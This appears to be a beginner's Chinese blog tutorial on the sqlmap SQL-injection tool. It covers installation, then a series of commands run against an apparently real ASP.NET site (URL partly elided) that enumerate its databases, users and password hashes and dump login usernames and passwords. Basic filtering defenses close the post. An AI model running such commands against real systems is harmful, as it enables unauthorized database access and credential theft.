这是最近学习渗透和网站攻防的文章,希望能深入地学习这部分知识,自己作为一个初学者,前一篇文章从数据库原理解读了防止SQL注入,这篇文章通过SQLMAP工具简单介绍SQL注入及用法。自己仍在慢慢探索网络攻防和渗透,希望文章对你有所帮助,尤其是学习网络安全的初学者,如果文章中存在错误或不足之处,还请海涵~
一.SQLMAP介绍
1.基础介绍
2.安装过程
3.漏洞检测
二.SQLMAP基础用法
1.获取所有数据库
2.获取当前数据库
3.获取数据库所有用户
4.获取数据库当前用户
5.获取数据库所有用户和密码
6.获取数据库所有表
7.获取数据库登录表所有字段
8.获取数据库登录表用户名和密码
三.总结
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
强推文章:
渗透测试工具sqlmap基础教程 - zgyulongfei
1.基础介绍
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。
2.安装过程
由于它是通过Python语言开发完成,需要安装Python环境,下面开始安装SQLMAP。
方法一:调用Pyhon命令pip install sqlmap安装
3.漏洞检测
cd去到Python环境sqlmap文件夹下,运行命令:
python sqlmap.py -u "http://..../tztgxx.aspx?code=115"
运行结果如下图所示,-u表示网址url。输出GET的四种注入类型,分别为:boolean-based blind、stacked queries、time-based blind、UNION query。这里你可能会发现和我们的第一篇文章手动讲解SQL注入类似,包括:AND 1327=1327、UNION ALL等。
下面通过一个实例进行讲解SQLMAP的基础用法。
SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:
1.获取所有数据库
参数:--dbs
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
运行结果如下图所示,获取9个数据库,其中--dbs参数表示databases。
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
运行结果如下图所示,获取9个数据库。其中--current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users
运行结果如下图所示,获取2个用户库。python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
运行结果如下图所示,获取当前数据库用户sa。python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
运行结果如下图所示,获取数据库用户和密码。python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,--tables表示所有表。python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,--columns表示usr表所有列。python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),--dump输出所有值。如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
输出结果为空,报警告“the SQL query provided does not return any output”。
真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。
参考前文,个人理解的防御措施:
1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。